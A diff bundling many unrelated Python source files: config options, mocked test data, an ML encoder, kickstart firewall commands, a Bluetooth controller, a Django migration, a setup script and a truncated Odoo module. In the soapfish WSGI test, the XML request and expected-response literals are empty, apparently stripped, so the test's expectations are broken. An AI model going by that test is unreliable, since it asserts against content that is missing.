@@ +from oslo_config import cfg + + +block_storage_group = cfg.OptGroup('block_storage', + title='Block Storage Options') + +# some config options here + +driver_path = cfg.StrOpt( + 'driver_path', + default='calplus.v1.block_storage.drivers', + help='Default path to block storage drivers', +) + +ALL_OPTS = ([driver_path]) + + +def register_opts(conf): + conf.register_group(block_storage_group) + conf.register_opts(ALL_OPTS, group=block_storage_group) + + +def list_opts(): + return {block_storage_group: ALL_OPTS} diff --git a/pool/shard009/Python/0083220_make_test_db.py b/pool/shard009/Python/0083220_make_test_db.py new file mode 100644 index 0000000000000000000000000000000000000000..13fdd98b58a004ce0c42202b15d78f4c72c622db --- /dev/null +++ b/pool/shard009/Python/0083220_make_test_db.py @@ -0,0 +1,148 @@ +# Copyright (c) 2017 Brian Ginsburg, Julie Rutherford-Fields +# This work is available under the "3-clause ('new') BSD License”. +# Please see the file COPYING in this distribution +# for license terms. + +# Mocked data, for testing only + +import datetime +from app import db +from app.models import User, Message + +db.create_all() + +# create a few of users +thope = User(name = 'Tony Hope' + , email = 'thope@yahoo.com' + , is_teergrube = True) + +rex = User(name = 'Rex' + , is_teergrube = False) + +steve = User(name = 'Steve' + , is_teergrube = False) + + +# first thread tests multiple messages and a case with two replies to message +# this tests threading in the database and the views +# the first message has addressee +first_rex = Message(message_id = '<00000000.0000001@infolost.party>' + , to = None + , to_name = None + , reply_to = 'rex345@yahoo.com' + , plus_tag = 'LAX1' + , datetime = datetime.datetime.fromtimestamp(1284286794) + , subject = 'URGENT' + , body = 'Root of the first thread' + , sender = rex + , parent = None) + +first_thope = Message(message_id = '<00000000.0000002@serif.mail>' + , to = 'Rex' + , to_name = 'rex345@yahoo.com' + , reply_to = 'thope@yahoo.com' + , plus_tag = 'LAX1' + , datetime = datetime.datetime.fromtimestamp(1284296134) + , subject = 'Re: URGENT' + , body = 'First message from teergrube in first thread' + , sender = thope + , parent = first_rex) + +second_rex = Message(message_id='<00000000.0000003@infolost.party>' + , to = 'thope@yahoo.com' + , to_name = 'Tony Hope' + , reply_to = 'rex345@yahoo.com' + , plus_tag = 'LAX1' + , datetime = datetime.datetime.fromtimestamp(1284396134) + , subject = 'Re: URGENT' + , body = 'Second message from Rex in first thread' + , sender = rex + , parent = first_thope) + +second_thope = Message(message_id='<00000000.0000004@serif.mail>' + , to = 'rex345@yahoo.com' + , to_name = 'Rex' + , reply_to = 'thope@yahoo.com' + , plus_tag = 'LAX1' + , datetime = datetime.datetime.fromtimestamp(1284496134) + , subject = 'Re: URGENT' + , body = 'Second message from teergrube in first thread' + , sender = thope + , parent = second_rex) + +third_rex = Message(message_id='<00000000.0000005@infolost.party>' + , to = 'thope@yahoo.com' + , to_name = 'Tony Hope' + , reply_to = 'rex345@yahoo.com' + , plus_tag = 'LAX1' + , datetime = datetime.datetime.fromtimestamp(1284596134) + , subject = 'Re: URGENT' + , body = 'Third message from Rex in first thread' + , sender = rex + , parent = second_thope) + +fourth_rex = Message(message_id='<00000000.0000006@infolost.party>' + , to = 'thope@yahoo.com' + , to_name = 'Tony Hope' + , reply_to = 'rex345@yahoo.com' + , plus_tag = 'LAX1' + , datetime = datetime.datetime.fromtimestamp(1284596934) + , subject = 'Re: URGENT' + , body = 'Fourth message from Rex in first thread (has no reply).' + , sender = rex + , parent = second_thope) + +third_thope = Message(message_id='<00000000.0000007@serif.mail>' + , to = 'rex345@yahoo.com' + , to_name = 'Rex' + , reply_to = 'thope@yahoo.com' + , plus_tag = 'LAX1' + , datetime = datetime.datetime.fromtimestamp(1284696134) + , subject = 'Re: URGENT' + , body = 'Third message from teergrube in first thread (reply to Rex\'s third message)' + , sender = thope + , parent = third_rex) + + +# second thread has an initial addressee +# the first and second threads may be interleaved by id in the database +# this test checks the threads will be displayed separately in the views +first_steve = Message(message_id='<00000000.0000008@infolost.party>' + , to = 'thope@yahoo.com' + , to_name = None + , reply_to = 'steve6734@yahoo.com' + , plus_tag = 'IAD1' + , datetime = datetime.datetime.fromtimestamp(1284296484) + , subject = 'Dear Friend,' + , body = 'Root of a second thread' + , sender = steve + , parent = None) + +fourth_thope = Message(message_id='<00000000.0000009@serif.mail>' + , to = 'steve6734@yahoo.com' + , to_name = 'Steve' + , reply_to = 'thope@yahoo.com' + , plus_tag = 'IAD1' + , datetime = datetime.datetime.fromtimestamp(1284699934) + , subject = 'Re: Dear Friend,' + , body = 'First message from teergrube in second thread' + , sender = thope + , parent = first_steve) + +second_steve = Message(message_id='<00000000.0000010@lost.party>' + , to = 'thope@yahoo.com' + , to_name = 'Tony Hope' + , reply_to = 'steve6734@yahoo.com' + , plus_tag = 'IAD1' + , datetime = datetime.datetime.fromtimestamp(1284299999) + , subject = 'Re: Dear Friend,' + , body = 'Second message from Steve in first thread' + , sender = steve + , parent = fourth_thope) + + +db.session.add_all( [thope, rex, steve, first_rex, first_thope, second_rex, + second_thope, third_rex, fourth_rex, third_thope, + first_steve, fourth_thope, second_steve] ) + +db.session.commit() diff --git a/pool/shard009/Python/0083222_sequence_cnn_encoder.py b/pool/shard009/Python/0083222_sequence_cnn_encoder.py new file mode 100644 index 0000000000000000000000000000000000000000..a0642da265a169c8bb48b76b7e78483cbdb0945a --- /dev/null +++ b/pool/shard009/Python/0083222_sequence_cnn_encoder.py @@ -0,0 +1,148 @@ +"""Encoder for sentence classification with 1D convolutions and max-pooling.""" + +from typing import Optional, Tuple, List + +from typeguard import check_argument_types +import tensorflow as tf + +from neuralmonkey.dataset import Dataset +from neuralmonkey.decorators import tensor +from neuralmonkey.model.model_part import ModelPart, FeedDict, InitializerSpecs +from neuralmonkey.model.stateful import Stateful +from neuralmonkey.nn.utils import dropout +from neuralmonkey.vocabulary import Vocabulary +from neuralmonkey.tf_utils import get_variable + + +class SequenceCNNEncoder(ModelPart, Stateful): + """Encoder processing a sequence using a CNN.""" + + # pylint: disable=too-many-arguments + def __init__(self, + name: str, + vocabulary: Vocabulary, + data_id: str, + embedding_size: int, + filters: List[Tuple[int, int]], + max_input_len: Optional[int] = None, + dropout_keep_prob: float = 1.0, + save_checkpoint: Optional[str] = None, + load_checkpoint: Optional[str] = None, + initializers: InitializerSpecs = None) -> None: + """Create a new instance of the CNN sequence encoder. + + Based on: Yoon Kim: Convolutional Neural Networks for Sentence + Classification (http://emnlp2014.org/papers/pdf/EMNLP2014181.pdf) + + Arguments: + vocabulary: Input vocabulary + data_id: Identifier of the data series fed to this encoder + name: An unique identifier for this encoder + max_input_len: Maximum length of an encoded sequence + embedding_size: The size of the embedding vector assigned + to each word + filters: Specification of CNN filters. It is a list of tuples + specifying the filter size and number of channels. + dropout_keep_prob: The dropout keep probability + (default 1.0) + """ + check_argument_types() + ModelPart.__init__(self, name, save_checkpoint, load_checkpoint, + initializers) + + self.vocabulary = vocabulary + self.data_id = data_id + self.max_input_len = max_input_len + self.embedding_size = embedding_size + self.dropout_keep_prob = dropout_keep_prob + self.filters = filters + + # pylint: disable=no-self-use + @tensor + def train_mode(self) -> tf.Tensor: + return tf.placeholder(tf.bool, shape=[], name="train_mode") + + @tensor + def inputs(self) -> tf.Tensor: + return tf.placeholder( + tf.int32, shape=[None, None], name="encoder_input") + + @tensor + def input_mask(self) -> tf.Tensor: + return tf.placeholder( + tf.float32, shape=[None, None], name="encoder_padding") + # pylint: enable=no-self-use + + @tensor + def embedded_inputs(self) -> tf.Tensor: + with tf.variable_scope("input_projection"): + embedding_matrix = get_variable( + "word_embeddings", + [len(self.vocabulary), self.embedding_size], + initializer=tf.glorot_uniform_initializer()) + return dropout( + tf.nn.embedding_lookup(embedding_matrix, self.inputs), + self.dropout_keep_prob, + self.train_mode) + + @tensor + def output(self) -> tf.Tensor: + pooled_outputs = [] + for filter_size, num_filters in self.filters: + with tf.variable_scope("conv-maxpool-%s" % filter_size): + # Convolution Layer + filter_shape = [filter_size, self.embedding_size, num_filters] + w_filter = get_variable( + "conv_W", filter_shape, + initializer=tf.glorot_uniform_initializer()) + b_filter = get_variable( + "conv_bias", [num_filters], + initializer=tf.zeros_initializer()) + conv = tf.nn.conv1d( + self.embedded_inputs, + w_filter, + stride=1, + padding="VALID", + name="conv") + + # Apply nonlinearity + conv_relu = tf.nn.relu(tf.nn.bias_add(conv, b_filter)) + + # Max-pooling over the outputs + pooled = tf.reduce_max(conv_relu, 1) + pooled_outputs.append(pooled) + + # Combine all the pooled features + return tf.concat(pooled_outputs, axis=1) + + def feed_dict(self, dataset: Dataset, train: bool = False) -> FeedDict: + """Populate the feed dictionary with the encoder inputs. + + Encoder input placeholders: + ``encoder_input``: Stores indices to the vocabulary, + shape (batch, time) + ``encoder_padding``: Stores the padding (ones and zeros, + indicating valid words and positions after the end + of sentence, shape (batch, time) + ``train_mode``: Boolean scalar specifying the mode (train + vs runtime) + + Arguments: + dataset: The dataset to use + train: Boolean flag telling whether it is training time + """ + # pylint: disable=invalid-name + fd = {} # type: FeedDict + fd[self.train_mode] = train + sentences = dataset.get_series(self.data_id) + + vectors, paddings = self.vocabulary.sentences_to_tensor( + list(sentences), self.max_input_len, pad_to_max_len=False, + train_mode=train) + + # as sentences_to_tensor returns lists of shape (time, batch), + # we need to transpose + fd[self.inputs] = list(zip(*vectors)) + fd[self.input_mask] = list(zip(*paddings)) + + return fd diff --git a/pool/shard009/Python/0083228_hyper_tuner.py b/pool/shard009/Python/0083228_hyper_tuner.py new file mode 100644 index 0000000000000000000000000000000000000000..8ee8a7b50faefe89a15ed8ed20290fc22ee1bc9f --- /dev/null +++ b/pool/shard009/Python/0083228_hyper_tuner.py @@ -0,0 +1,64 @@ +#! /usr/bin/env python +# -*- coding: utf-8 -*- + +__author__ = 'maxim' + +import numpy as np +import time + +from ..base import * +from ..spec import ParsedSpec +from ..bayesian.sampler import DefaultSampler +from ..bayesian.strategy import BayesianStrategy, BayesianPortfolioStrategy + + +strategies = { + 'bayesian': lambda sampler, params: BayesianStrategy(sampler, **params), + 'portfolio': lambda sampler, params: BayesianPortfolioStrategy(sampler, **params), +} + + +class HyperTuner(object): + def __init__(self, hyper_params_spec, solver_generator, **strategy_params): + self._solver_generator = solver_generator + + self._parsed = ParsedSpec(hyper_params_spec) + info('Spec size:', self._parsed.size()) + + sampler = DefaultSampler() + sampler.add_uniform(self._parsed.size()) + + strategy_gen = as_function(strategy_params.get('strategy', 'bayesian'), presets=strategies) + self._strategy = strategy_gen(sampler, strategy_params) + + self._timeout = strategy_params.get('timeout', 0) + self._max_points = strategy_params.get('max_points', None) + + def tune(self): + info('Start hyper tuner') + + while True: + if self._max_points is not None and len(self._strategy.values) >= self._max_points: + info('Maximum points reached: max_points=%d. Aborting hyper tuner' % self._max_points) + break + + point = self._strategy.next_proposal() + hyper_params = self._parsed.instantiate(point) + solver = self._solver_generator(hyper_params) + + accuracy = solver.train() + + previous_max = np.max(self._strategy.values) if len(self._strategy.values) > 0 else -np.inf + self._strategy.add_point(point, accuracy) + index = len(self._strategy.values) + + marker = '!' if accuracy > previous_max else ' ' + info('%s [%d] accuracy=%.4f, params: %s' % (marker, index, accuracy, smart_str(hyper_params))) + info('Current top-%d:' % min(len(self._strategy.values), 5)) + for value in sorted(self._strategy.values, reverse=True)[:5]: + info(' accuracy=%.4f' % value) + + if self._timeout: + time.sleep(self._timeout) + + solver.terminate() diff --git a/pool/shard009/Python/0083230_firewall.py b/pool/shard009/Python/0083230_firewall.py new file mode 100644 index 0000000000000000000000000000000000000000..727ad21ce5f9d0cc8df5eb2a7c657abb5fd42434 --- /dev/null +++ b/pool/shard009/Python/0083230_firewall.py @@ -0,0 +1,269 @@ +# +# Chris Lumens +# +# Copyright 2005, 2006, 2007 Red Hat, Inc. +# +# This copyrighted material is made available to anyone wishing to use, modify, +# copy, or redistribute it subject to the terms and conditions of the GNU +# General Public License v.2. This program is distributed in the hope that it +# will be useful, but WITHOUT ANY WARRANTY expressed or implied, including the +# implied warranties of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +# See the GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License along with +# this program; if not, write to the Free Software Foundation, Inc., 51 +# Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Any Red Hat +# trademarks that are incorporated in the source code or documentation are not +# subject to the GNU General Public License and may only be used or replicated +# with the express permission of Red Hat, Inc. +# +from pykickstart.version import FC3, F9, F10, F14, F20, F28 +from pykickstart.base import KickstartCommand +from pykickstart.options import ExtendAction, ExtendConstAction, KSOptionParser, commaSplit + +class FC3_Firewall(KickstartCommand): + removedKeywords = KickstartCommand.removedKeywords + removedAttrs = KickstartCommand.removedAttrs + + def __init__(self, writePriority=0, *args, **kwargs): + KickstartCommand.__init__(self, writePriority, *args, **kwargs) + self.op = self._getParser() + + self.enabled = kwargs.get("enabled", None) + self.ports = kwargs.get("ports", []) + self.trusts = kwargs.get("trusts", []) + + def __str__(self): + extra = [] + filteredPorts = [] + + retval = KickstartCommand.__str__(self) + + if self.enabled is None: + return retval + + if self.enabled: + # It's possible we have words in the ports list instead of + # port:proto (s-c-kickstart may do this). So, filter those + # out into their own list leaving what we expect. + for port in self.ports: + if port == "ssh:tcp": + extra.append(" --ssh") + elif port == "telnet:tcp": + extra.append(" --telnet") + elif port == "smtp:tcp": + extra.append(" --smtp") + elif port == "http:tcp": + extra.append(" --http") + elif port == "ftp:tcp": + extra.append(" --ftp") + else: + filteredPorts.append(port) + + # All the port:proto strings go into a comma-separated list. + portstr = ",".join(filteredPorts) + if portstr: + portstr = " --port=" + portstr + + extrastr = "".join(extra) + truststr = ",".join(self.trusts) + + if truststr: + truststr = " --trust=" + truststr + + # The output port list consists only of port:proto for + # everything that we don't recognize, and special options for + # those that we do. + retval += "# Firewall configuration\nfirewall --enabled%s%s%s\n" % (extrastr, portstr, truststr) + else: + retval += "# Firewall configuration\nfirewall --disabled\n" + + return retval + + def _getParser(self): + def firewall_port_cb(value): + retval = [] + for p in value.split(","): + p = p.strip() + if p.find(":") == -1: + p = "%s:tcp" % p + + retval.append(p) + + return retval + + op = KSOptionParser(prog="firewall", description=""" + This option corresponds to the Firewall Configuration + screen in the installation program""", + version=FC3) + op.add_argument("--disable", "--disabled", dest="enabled", + action="store_false", version=FC3, + help="Do not configure any iptables rules.") + op.add_argument("--enable", "--enabled", dest="enabled", + action="store_true", default=True, help=""" + Reject incoming connections that are not in response + to outbound requests, such as DNS replies or DHCP + requests. If access to services running on this machine + is needed, you can choose to allow specific services + through the firewall.""", version=FC3) + op.add_argument("--ftp", dest="ports", action="append_const", + const="21:tcp", version=FC3, + help="Open port 21:tcp") + op.add_argument("--http", dest="ports", action=ExtendConstAction, + const=["80:tcp", "443:tcp"], nargs=0, version=FC3, + help="Open ports 80:tcp and 443:tcp") + op.add_argument("--smtp", dest="ports", action="append_const", + const="25:tcp", version=FC3, + help="Open port 25:tcp") + op.add_argument("--ssh", dest="ports", action="append_const", + const="22:tcp", version=FC3, + help="Open port 22:tcp") + op.add_argument("--telnet", dest="ports", action="append_const", + const="23:tcp", version=FC3, + help="Open port 23:tcp") + op.add_argument("--high", deprecated=FC3, help="") + op.add_argument("--medium", deprecated=FC3, help="") + op.add_argument("--port", dest="ports", action=ExtendAction, + type=firewall_port_cb, help=""" + You can specify that ports be allowed through the firewall + using the port:protocol format. You can also specify ports + numerically. Multiple ports can be combined into one option + as long as they are separated by commas. For example:: + + ``firewall --port=imap:tcp,1234:ucp,47``""", + version=FC3) + op.add_argument("--trust", dest="trusts", action="append", help=""" + Listing a device here, such as eth0, allows all traffic + coming from that device to go through the firewall. To + list more than one device, use --trust eth0 --trust eth1. + Do NOT use a comma-separated format such as + --trust eth0, eth1.""", version=FC3) + return op + + def parse(self, args): + ns = self.op.parse_args(args=args, lineno=self.lineno) + self.set_to_self(ns) + return self + +class F9_Firewall(FC3_Firewall): + removedKeywords = FC3_Firewall.removedKeywords + removedAttrs = FC3_Firewall.removedAttrs + + def _getParser(self): + op = FC3_Firewall._getParser(self) + op.remove_argument("--high", version=F9) + op.remove_argument("--medium", version=F9) + return op + +class F10_Firewall(F9_Firewall): + removedKeywords = F9_Firewall.removedKeywords + removedAttrs = F9_Firewall.removedAttrs + + def __init__(self, writePriority=0, *args, **kwargs): + F9_Firewall.__init__(self, writePriority, *args, **kwargs) + self.services = kwargs.get("services", []) + + def __str__(self): + if self.enabled is None: + return "" + + retval = F9_Firewall.__str__(self) + if self.enabled: + retval = retval.strip() + + svcstr = ",".join(self.services) + if svcstr: + svcstr = " --service=" + svcstr + + return retval + "%s\n" % svcstr + else: + return retval + + def _getParser(self): + op = F9_Firewall._getParser(self) + op.add_argument("--service", dest="services", action=ExtendAction, + type=commaSplit, help=""" + This option provides a higher-level way to allow services + through the firewall. Some services (like cups, avahi, etc.) + require multiple ports to be open or other special + configuration in order for the service to work. You could + specify each individual service with the ``--port`` option, + or specify ``--service=`` and open them all at once. + + Valid options are anything recognized by the + firewall-cmd program in the firewalld package. + If firewalld is running:: + + ``firewall-cmd --get-services`` + + will provide a list of known service names.""", + version=F10) + op.add_argument("--ftp", dest="services", action="append_const", + const="ftp", version=F10, help="Open the ftp service port") + op.add_argument("--http", dest="services", action="append_const", + const="http", version=F10, help="Open the http service port") + op.add_argument("--smtp", dest="services", action="append_const", + const="smtp", version=F10, help="Open the smtp service port") + op.add_argument("--ssh", dest="services", action="append_const", + const="ssh", version=F10, help="Open the ssh service port") + op.add_argument("--telnet", deprecated=F10) + return op + +class F14_Firewall(F10_Firewall): + removedKeywords = F10_Firewall.removedKeywords + ["telnet"] + removedAttrs = F10_Firewall.removedAttrs + ["telnet"] + + def _getParser(self): + op = F10_Firewall._getParser(self) + op.remove_argument("--telnet", version=F14) + return op + +class F20_Firewall(F14_Firewall): + def __init__(self, writePriority=0, *args, **kwargs): + F14_Firewall.__init__(self, writePriority, *args, **kwargs) + self.remove_services = kwargs.get("remove_services", []) + + def _getParser(self): + op = F14_Firewall._getParser(self) + op.add_argument("--remove-service", dest="remove_services", + help="Close ports for the comma-separated list of services", + action=ExtendAction, type=commaSplit, version=F20) + return op + + def __str__(self): + if self.enabled is None: + return "" + + retval = F14_Firewall.__str__(self) + if self.enabled: + retval = retval.strip() + + svcstr = ",".join(self.remove_services) + if svcstr: + svcstr = " --remove-service=" + svcstr + + return retval + "%s\n" % svcstr + else: + return retval + +class F28_Firewall(F20_Firewall): + def __init__(self, writePriority=0, *args, **kwargs): + F20_Firewall.__init__(self, writePriority, *args, **kwargs) + self.use_system_defaults = kwargs.get("use_system_defaults", None) + + def _getParser(self): + op = F20_Firewall._getParser(self) + op.add_argument("--use-system-defaults", dest="use_system_defaults", + action="store_true", default=False, version=F28, help=""" + Don't configure the firewall at all. This instructs anaconda + to do nothing and allows the system to rely on the defaults + that were provided with the package or ostree. If this option + is used with other options then all other options will be + ignored.""") + return op + + def __str__(self): + if self.use_system_defaults: + return "# Firewall configuration\nfirewall --use-system-defaults\n" + else: + return F20_Firewall.__str__(self) diff --git a/pool/shard009/Python/0083243_Bluetooth.py b/pool/shard009/Python/0083243_Bluetooth.py new file mode 100644 index 0000000000000000000000000000000000000000..e9eca1dea63b676a14a297aca53a39fd85fdc4bd --- /dev/null +++ b/pool/shard009/Python/0083243_Bluetooth.py @@ -0,0 +1,65 @@ +from cement.core import controller +from colorama import init, Fore, Back, Style +from config import Config + +import bluetooth +# import pprint + + +class Bluetooth(controller.CementBaseController): + nearby_devices = '' + device = '' + cfg = config('resrc/Msgs.cfg') + + class Meta: + interface = controller.IController + label = 'Bluetooth' + description = 'Used to control bluetooth adapter for connections' + stacked_on = 'base' + + @controller.expose(hide=False, help='Scans for bluetooth devices') + def scan(self): + print("Scanning for bluetooth devices ...") + + # scans for nearby bluetooth devices + self.nearby_devices = bluetooth.discover_devices(lookup_names=True) + + print("Found %d devices" % len(self.nearby_devices)) + + # lists each device for user to select to pair with + for index, item in enumerate(self.nearby_devices): + if index == 0: + print("ID\tHardware Addr\tName") + + print("%d)\t%s\t%s" % (index + 1, item[0], item[1])) + + print("\n * Please enter the device ID you wish to pair with") + + # gets users selection (index + 1) of the device + hid = input(Style.BRIGHT + "\nEnter device ID: " + Style.RESET_ALL) + #subtracts 1 to be proper index num + hid = int(hid) - 1 + + # connects to device + self.connect(hid); + + def connect(self, hid): + hwd = self.nearby_devices[hid] + port = 1 + + print("Connecting Device: %s ... " % hwd[1]) + + try: + dsock = bluetooth.BluetoothSocket(bluetooth.RFCOMM) + dsock.connect((hwd[0],port)) + dsock.close() + + print("Socket now closed") + + except bluetooth.BluetoothError as be: + print(Fore.RED + Style.BRIGHT + 'Bluetooth Error: %s' % str(be)) + except Exception as e: + print(Fore.RED + Style.BRIGHT + 'Error: %s' % str(e)) + + + diff --git a/pool/shard009/Python/0083260_options.py b/pool/shard009/Python/0083260_options.py new file mode 100644 index 0000000000000000000000000000000000000000..3bbfbe352a43e61819776050dfed5e2757b3fd2f --- /dev/null +++ b/pool/shard009/Python/0083260_options.py @@ -0,0 +1,39 @@ +""" +Parse query arguments. +""" + +def parse_args(args): + """ + Parse arguments and options. + Replace short options with their long counterparts. + """ + result = { + 'add_comments': True, + } + + query = "" + newargs = {} + for key, val in args.items(): + if val == "" or val == [] or val == ['']: + query += key + continue + if val == 'True': + val = True + if val == 'False': + val = False + newargs[key] = val + + options_meaning = { + "c": dict(add_comments=False, unindent_code=False), + "C": dict(add_comments=False, unindent_code=True), + "Q": dict(remove_text=True), + 'q': dict(quiet=True), + 'T': {'no-terminal': True}, + } + for option, meaning in options_meaning.items(): + if option in query: + result.update(meaning) + + result.update(newargs) + + return result diff --git a/pool/shard009/Python/0083266_0001_squashed_0002_auto_20200123_1843.py b/pool/shard009/Python/0083266_0001_squashed_0002_auto_20200123_1843.py new file mode 100644 index 0000000000000000000000000000000000000000..35f5dfb218254266f9ea8a62092aeb35f817d77b --- /dev/null +++ b/pool/shard009/Python/0083266_0001_squashed_0002_auto_20200123_1843.py @@ -0,0 +1,82 @@ +# Generated by Django 1.11.28 on 2020-03-08 19:27 +from django.conf import settings +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + + initial = True + + dependencies = [ + migrations.swappable_dependency(settings.AUTH_USER_MODEL), + ("base", "0002_auto_20200322_1821"), + ] + + operations = [ + migrations.CreateModel( + name="ActionLog", + fields=[ + ( + "id", + models.AutoField( + auto_created=True, + primary_key=True, + serialize=False, + verbose_name="ID", + ), + ), + ( + "action_type", + models.CharField( + choices=[ + ("translation:created", "Translation created"), + ("translation:deleted", "Translation deleted"), + ("translation:approved", "Translation approved"), + ("translation:unapproved", "Translation unapproved"), + ("translation:rejected", "Translation rejected"), + ("translation:unrejected", "Translation unrejected"), + ("comment:added", "Comment added"), + ], + max_length=50, + ), + ), + ("created_at", models.DateTimeField(auto_now_add=True)), + ( + "entity", + models.ForeignKey( + blank=True, + null=True, + on_delete=django.db.models.deletion.CASCADE, + to="base.Entity", + ), + ), + ( + "locale", + models.ForeignKey( + blank=True, + null=True, + on_delete=django.db.models.deletion.CASCADE, + to="base.Locale", + ), + ), + ( + "performed_by", + models.ForeignKey( + on_delete=django.db.models.deletion.CASCADE, + related_name="actions", + to=settings.AUTH_USER_MODEL, + ), + ), + ( + "translation", + models.ForeignKey( + blank=True, + null=True, + on_delete=django.db.models.deletion.CASCADE, + to="base.Translation", + ), + ), + ], + ), + ] diff --git a/pool/shard009/Python/0083269_wsgi_soap_application_test.py b/pool/shard009/Python/0083269_wsgi_soap_application_test.py new file mode 100644 index 0000000000000000000000000000000000000000..7cb6c65a39285cfa3e00a434c6556671d49f929b --- /dev/null +++ b/pool/shard009/Python/0083269_wsgi_soap_application_test.py @@ -0,0 +1,60 @@ +# -*- coding: utf-8 -*- + +from __future__ import absolute_import, unicode_literals + +from io import BytesIO + +from pythonic_testcase import * + +from soapfish.soap_dispatch import SOAPDispatcher, WsgiSoapApplication +from soapfish.testutil import echo_service + + +class WsgiSoapApplicationTest(PythonicTestCase): + def test_can_dispatch_soap_request_with_plain_wsgi(self): + dispatcher = SOAPDispatcher(echo_service()) + app = WsgiSoapApplication(dispatcher) + start_response = self._response_mock() + soap_message = (b'' + b'' + b'' + b'' + b'foobar' + b'' + b'' + b'') + response = app(self._wsgi_env(soap_message), start_response) + assert_equals(WsgiSoapApplication.HTTP_200, start_response.code) + assert_equals('text/xml', dict(start_response.headers)['Content-Type']) + expected_xml = ( + b'\n' + b' \n' + b' \n' + b' foobar\n' + b' \n' + b' \n' + b'\n' + ) + assert_equals(expected_xml, b''.join(response)) + + def _response_mock(self): + class StartResponse(): + self.code = None + self.headers = None + def __call__(self, code, headers): + self.code = code + self.headers = headers + return StartResponse() + + def _wsgi_env(self, soap_xml): + return { + 'SOAPACTION': 'echo', + 'PATH_INFO': '/service', + 'CONTENT_LENGTH': len(soap_xml), + 'QUERY_STRING': '', + 'SERVER_NAME': 'localhost', + 'SERVER_PORT': '7000', + 'REQUEST_METHOD': 'POST', + 'wsgi.url_scheme': 'http', + 'wsgi.input': BytesIO(soap_xml), + } diff --git a/pool/shard009/Python/0083277_setup.py b/pool/shard009/Python/0083277_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..f92dd14ac6fd3c7dcc009241a37aa72bbc833abe --- /dev/null +++ b/pool/shard009/Python/0083277_setup.py @@ -0,0 +1,121 @@ +#!/usr/bin/env python + +# Copyright 2013-present Barefoot Networks, Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +# +# Antonin Bas (antonin@barefootnetworks.com) +# +# + +# -*- coding: utf-8 -*- + +import p4c_bm +import os +import sys + +SETUP_PY_PATH = os.path.dirname(__file__) +SRC_PATH = os.path.relpath(os.path.join(os.path.dirname(__file__), "p4c_bm")) + +from setuptools import setup +from setuptools.command.install import install +from setuptools.command.install_scripts import install_scripts + +with open(os.path.join(SETUP_PY_PATH, 'README.rst')) as readme_file: + readme = readme_file.read() + +with open(os.path.join(SETUP_PY_PATH, 'HISTORY.rst')) as history_file: + history = history_file.read().replace('.. :changelog:', '') + +with open(os.path.join(SRC_PATH, "_version_str.py"), 'w') as version_f: + version_f.write("# This file is auto-generated\n") + version_f.write("version_str = '{}'\n".format(p4c_bm.__version__)) + +requirements = [ + # TODO: put package requirements here + 'p4-hlir', + 'Tenjin' +] + +install_lib = None + +class CustomInstall(install): + def run(self): + # in this step we simply retrieve the installation path that we need to + # append to the PYTHONPATH dynamically + global install_lib + assert(install_lib is None) + install_lib = os.path.abspath(self.install_lib) + # if a root was specified we remove it from the install path + if self.root is not None: + assert(install_lib.startswith(self.root)) + install_lib = install_lib[len(self.root):] + install.run(self) + +class CustomInstallScripts(install_scripts): + def run(self): + # in this second step we edit the script in the build directory to + # replace @pythondir@ with the value of install_lib and we rename the + # script; the modified script will be copied to the installation + # directory by setuptools + assert(install_lib is not None) + in_path = os.path.join(self.build_dir, 'p4c-bmv2.in') + out_path = os.path.join(self.build_dir, 'p4c-bmv2') + with open(in_path, "r") as fin: + with open(out_path, "w") as fout: + for line in fin: + # we use the platform-dependent install path computed by + # setuptools + fout.write(line.replace('@pythondir@', install_lib)) + os.remove(os.path.join(self.build_dir, 'p4c-bmv2.in')) + install_scripts.run(self) + +setup( + name='p4c_bm', + version=p4c_bm.__version__, + description="Generates the JSON configuration for the behavioral-model", + long_description=readme + '\n\n' + history, + author="Antonin Bas", + author_email='antonin@barefootnetworks.com', + url='https://github.com/antoninbas/p4c_bm', + packages=[ + 'p4c_bm', 'p4c_bm.util', + ], + package_dir={'p4c_bm': SRC_PATH}, + include_package_data=True, + install_requires=requirements, + # entry_points={ + # 'console_scripts': [ + # 'p4c-bmv2=p4c_bm.__main__:main', + # ], + # }, + # we use the "template" here, because it is better if this script exists + # (otherwise I need to provide a custom command for the build step as well + scripts=['p4c-bmv2.in'], + license="Apache", + zip_safe=False, + keywords='p4c_bm', + classifiers=[ + 'Development Status :: 2 - Pre-Alpha', + 'Intended Audience :: Developers', + 'License :: OSI Approved :: Apache License', + 'Natural Language :: English', + "Programming Language :: Python :: 2", + 'Programming Language :: Python :: 2.7', + ], + test_suite='tests', + cmdclass={'install': CustomInstall, + 'install_scripts': CustomInstallScripts}, +) diff --git a/pool/shard009/Python/0083278_res_partner.py b/pool/shard009/Python/0083278_res_partner.py new file mode 100644 index 0000000000000000000000000000000000000000..94e8471e00b602fae3cf2f5a7990d26b1588475b --- /dev/null +++ b/pool/shard009/Python/0083278_res_partner.py @@ -0,0 +1,173 @@ +# -*- coding: utf-8 -*- +# Part of Odoo. See LICENSE file for full copyright and licensing details. + +import random +import werkzeug.urls + +from collections import defaultdict +from datetime import datetime, timedelta + +from odoo import api, exceptions, fields, models, _ + +class SignupError(Exception): + pass + +def random_token(): + # the token has an entropy of about 120 bits (6 bits/char * 20 chars) + chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' + return ''.join(random.SystemRandom().choice(chars) for _ in range(20)) + +def now(**kwargs): + return datetime.now() + timedelta(**kwargs) + + +class ResPartner(models.Model): + _inherit = 'res.partner' + + signup_token = fields.Char(copy=False, groups="base.group_erp_manager") + signup_type = fields.Char(string='Signup Token Type', copy=False, groups="base.group_erp_manager") + signup_expiration = fields.Datetime(copy=False, groups="base.group_erp_manager") + signup_valid = fields.Boolean(compute='_compute_signup_valid', string='Signup Token is Valid') + signup_url = fields.Char(compute='_compute_signup_url', string='Signup URL') + + @api.depends('signup_token', 'signup_expiration') + def _compute_signup_valid(self): + dt 